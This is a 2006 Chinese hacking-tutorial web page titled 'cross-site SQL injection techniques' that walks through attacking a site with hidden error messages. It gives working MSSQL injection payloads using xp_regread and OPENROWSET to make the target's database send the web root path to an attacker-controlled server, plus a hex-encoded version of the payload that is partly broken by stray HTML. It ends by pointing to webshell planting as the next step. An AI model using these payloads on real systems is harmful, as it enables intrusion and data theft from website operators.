通行证: 用户 密码 域名空间  下载中心 社区论坛 信息公告 my小屋
联系我们
设为首页
加入收藏

 

qq,asp,php,jsp,xml,sql,.net,编程 程序 网页图象 建站经验 私服
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿
论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图
专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版
社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 网络赚钱 | 网站地图 | 广告服务 | 服务
当前位置:首页>>网络安全>>黑客技术>>正文 新版上线![旧版]
注:打开慢时请稍等
跨站式sql注入技巧

http://www.iyit.net  日期:2006-5-8 13:38:13  来源:中国站长学院  点击:
参加讨论】前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。。因此我自己搞了一种“跨站式sql注入”。。

  思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让sql把错误写入别的地方。。。

  既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。。

  第一个想法:   

  sql可以连接外部的数据库。。   

  于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本地启动一个sql server,并且用sa的身份在sql事件探测器里边建立一个跟踪。  

  尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。。  

  提示必须是sysadmin的身份。。失败。 

  换一个思路:

  只要你sql敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。。  

  于是考虑到一个权限要求不是很高的命令:openrowset 来跨服务器查询。。这个命令作用是把一个数据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。。  
  第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。

  declare @result varchar(255) exec master.dbo.xp_regread 'hkey_local_machine','system\controlset001\services\w3svc\parameters\virtual roots', '/' ,@result output insert into laokai (cha8) values('select a.* from openrowset(''sqloledb'',''你的ip'';''sa'';''密码'', ''select * from pubs.dbo.authors where au_fname=''''' + @result + ''''''')as a');--

  这段代码什么意思哪?就是把网站的路径信息写入数据库。。也不是单纯的写,写得同时构造一个sql语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。  

  select a.* from openrowset('sqloledb','你的ip';'sa';'密码', 'select * from pubs.dbo.authors where au_fname=''c:\inetpub,,1''')as a

  其中的c:\inetpub,,1就是注册表记录的根目录,最后要做的是:

  declare @a1 char(255) set @a1=(select cha8 from laokai) exec (@a1);--

  这样就等于执行了

  select a.* from openrowset('sqloledb','你的ip';'sa';'密码', 'select * from pubs.dbo.authors where au_fname=''c:\inetpub,,1''')as a

  这一条语句。。。同时你会在事件探测器那边会显示  

  select * from pubs.dbo.authors where au_fname='c:\inetpub,,1'
  
  其中的c:\inetpub 就是网站的路径。。调试成功。。  

  现在进入实战阶段。。某网站屏蔽了全部出错信息。。但是我们可以确定它存在注入点 a.asp?id=1,怎么做呢?

  a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--   

  返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:

  a.asp?id=1;declare @result varchar(255) exec master.dbo.xp_regread 'hkey_local_machine','system\controlset001\services\w3svc\parameters\virtual roots', '/' ,@result output insert into laokai (cha8) values('select a.* from openrowset(''sqloledb'',''你的ip'';''sa'';''密码'', ''select * from pubs.dbo.authors where au_fname=''''' + @result + ''''''')as a');--

  出错了。。出错信息被屏蔽了。。怎么办?经过研究发现是里边的某些字符例如 +号需要转化成16进制。。或许还有别的地方要转化。。怎么办啊?

  于是写了一个ascii转化16进制的工具,把全部的代码转化一下,然后注入就ok了。。(工具的下载地址 http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执行上述语句了。。

  a.asp?id=1;%44%45%43%4c%41%52%45%20%40%72%65%73%75%6c%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%6d%61%73%74%65%72%2e%64%62%6f%2e%78%70%5f%72%65%67%72%65%61%64%20%27%48%4b%45%59%5f%4c%4f%43%41%4c%5f%4d%41%43%48%49%4e%45%27%2c%27%53%59%53%54%45%4d%5c%43%4f%4e%54%52%4f%4c%53%65%74%30%30%31%5c%53%65%72%76%69%63%65%73%5c%57%33%53%56%43%5c%50%61%72%61%6d%65%74%65%72%73%5c%56%69%72%74%75%61%6c%20%52%6f%6f%74%73%27%2c%20%27%2f%27%20%2c%40%72%65%73%75%6c%74%20%6f%75%74%70%75%74%20%69%6e%73%65%72%74%20%69%6e%74%6f%20%6c%61%6f%6b%61%69%20%28%63%68%61%38%29%20%76%61%6c%75%65%73%28%27%53%45%4c%45%43%54%20%61%2e%2a%20%46%52%4f%4d%20%4f%50%45%4e%52%4f%57%53%45%54%28%27%27%53%51%4c%4f%4c%45%44%42%27%27%2c%27%27%3f%3f%49%50%27%27%3b%27%27%73%61%27%27%3b%27%27%3f%3f%27%27%2c%20%27%27%53%45%4c%45%43%54%20%2a%20%46%52%4f%4d%20%70%75%62%73%2e%64%62%6f%2e%61%75%74%68%6f%72%73%20%77%68%65%72%65%20%61%75%5f%66%6e%61%6d%65%3d/33.shtml' target='_blank' class='article'>3d%27%27%27%27%27%20%2b%20%40%72%65%73%75%6c%74%20%2b%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3b%2d%2d%20

  执行成功。。。
  a.asp?id=1;declare @a1 char(255) set @a1=(select cha8 from laokai) exec (@a1);--

  网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:

  


  注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。

  最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取出来。。

  ''select * from pubs.dbo.authors where au_fname=''''' + @result + ''''''' 部分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这样那边会出错。这边就留下一个exec 'c:\inetpub,,1'

编辑:黑鹰 [发送给好友] [打印本页] [关闭窗口] [返回顶部]
上一篇:全面解析“网络钓鱼”式攻击
下一篇:网站服务器通用和专用保护方法比较分析(1)
转载请注明来源:www.iyit.net
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。

 相关文章
web环境下sql注入攻击的检测与防御 利用instr()函数防止sql注入攻击 九大措施安全配置sqlserver2000
防范sql指令植入式攻击(2) 防范sql指令植入式攻击(1) 数据库安全:sql server 中系统表的作用
sql server防范措施(2) sql server防范措施(1) 从iis到sql server数据库安全
sql server数据库安全规划全攻略(2) sql server数据库安全规划全攻略(1) 突破sql错误提示上传webshell
恢复sql server系统数据库 sqlserver取得网站路径的几种方法以及比 sqlserver取得网站路径的几种方法以及比
hdsi2.0 sql注入部分抓包(4) hdsi2.0 sql注入部分抓包(3) hdsi2.0 sql注入部分抓包(2)
hdsi2.0 sql注入部分抓包(1) iis服务、asp.net引擎以及sqlserver的安 蓝雨设计整站sql注入漏洞
如何灵活地运用sql injection做数据库渗 灵活地运用sql injection做数据库渗透 从iis转到sql数据库安全
最新更新 热点排行 推荐新闻
网站服务器通用和专用保护方法比较分析
网站服务器通用和专用保护方法比较分析
跨站式sql注入技巧
全面解析“网络钓鱼”式攻击
揭开网络钓鱼(phishing)秘密
网站服务器通用和专用保护方法比较分析
网站服务器通用和专用保护方法比较分析
跨站式sql注入技巧
全面解析“网络钓鱼”式攻击
揭开网络钓鱼(phishing)秘密
google hacking的实现以及应用(下)
google hacking的实现以及应用(上)
网络最经典命令行-网络安全工作者的必
刍议ipv6的安全问题
鲜为人知的“windows 2000/xp受限”问
网站服务器通用和专用保护方法比较分析
网站服务器通用和专用保护方法比较分析
跨站式sql注入技巧
全面解析“网络钓鱼”式攻击
揭开网络钓鱼(phishing)秘密
新开放qq免费挂级网站
免费在qq上看在线电影电视听音乐
免费把qq炫铃设为本机qq的系统提示音
qq珊瑚虫外挂4.0版本发布!
腾讯qq调整升级条件不再诱发网民“通宵
优秀公益广告作品欣赏(8)
流金岁月!cpu历史上最难忘的十个第一
java数据类型转换
qq挂机的n种快速方法
asp自动解压rar文件
巧用photoshop图案工具
用photoshop制成浪漫的“珍珠项链”
第二十章 开发delphi对象式数据管理功
sql简明教程(1)
vbscript和javascript互相调用 
jsp教程(四)-jsp actions的使用
操作系统被入侵后的修复过程
五一别忘电脑防毒 养成良好上网习惯
google对ie浏览器将捆绑搜索功能表担忧
新版上线,今日正式开通!!!
 友情链接
设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
copyrights © 2004-2006 iyit.net all rights reserved.
网站合作、广告联系qq:147007642、466949678
易特网络技术 点击这里给我发消息